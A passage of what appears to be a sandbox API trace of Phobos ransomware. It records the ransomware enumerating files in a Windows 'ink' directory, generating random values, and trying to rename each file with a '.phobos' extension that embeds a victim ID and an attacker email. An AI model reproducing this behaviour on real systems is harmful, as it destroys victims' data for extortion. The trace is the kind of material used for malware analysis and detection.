shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.205] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2018304) returned 1 [0133.205] CloseHandle (hObject=0x2b4) returned 1 [0133.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0133.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0133.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0133.206] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.206] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=367104) returned 1 [0133.206] CloseHandle (hObject=0x2b4) returned 1 [0133.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0133.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.206] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.206] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0133.206] CloseHandle (hObject=0x2b4) returned 1 [0133.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0133.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.207] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.207] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=41984) returned 1 [0133.207] CloseHandle (hObject=0x2b4) returned 1 [0133.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0133.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.207] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.207] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=125952) returned 1 [0133.207] CloseHandle (hObject=0x2b4) returned 1 [0133.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0133.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.208] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.208] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10752) returned 1 [0133.208] CloseHandle (hObject=0x2b4) returned 1 [0133.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0133.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.335] SetEvent (hEvent=0x298) returned 1 [0133.335] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.335] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.335] CloseHandle (hObject=0x300) returned 1 [0133.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0133.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.335] SetEvent (hEvent=0x298) returned 1 [0133.336] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.336] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9728) returned 1 [0133.336] CloseHandle (hObject=0x300) returned 1 [0133.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0133.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.336] SetEvent (hEvent=0x298) returned 1 [0133.336] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.337] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=10240) returned 1 [0133.337] CloseHandle (hObject=0x300) returned 1 [0133.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0133.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.351] SetEvent (hEvent=0x298) returned 1 [0133.351] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.352] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=41984) returned 1 [0133.352] CloseHandle (hObject=0x300) returned 1 [0133.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0133.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.352] SetEvent (hEvent=0x298) returned 1 [0133.352] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.352] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=4101632) returned 1 [0133.352] CloseHandle (hObject=0x300) returned 1 [0133.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0133.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0133.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0 [0133.353] SetEvent (hEvent=0x298) returned 1 [0133.353] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.353] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=391040) returned 1 [0133.353] CloseHandle (hObject=0x300) returned 1 [0133.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0133.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.353] SetEvent (hEvent=0x298) returned 1 [0133.354] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.354] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=9728) returned 1 [0133.354] CloseHandle (hObject=0x300) returned 1 [0133.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0133.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.354] SetEvent (hEvent=0x298) returned 1 [0133.354] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.355] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=1086464) returned 1 [0133.355] CloseHandle (hObject=0x300) returned 1 [0133.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0133.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.355] SetEvent (hEvent=0x298) returned 1 [0133.360] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.360] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=22016) returned 1 [0133.360] CloseHandle (hObject=0x300) returned 1 [0133.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0133.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.360] SetEvent (hEvent=0x298) returned 1 [0133.361] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.361] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=1053184) returned 1 [0133.361] CloseHandle (hObject=0x300) returned 1 [0133.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0133.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.361] SetEvent (hEvent=0x298) returned 1 [0133.361] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0133.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.362] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=647584) returned 1 [0133.362] CloseHandle (hObject=0x300) returned 1 [0133.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft 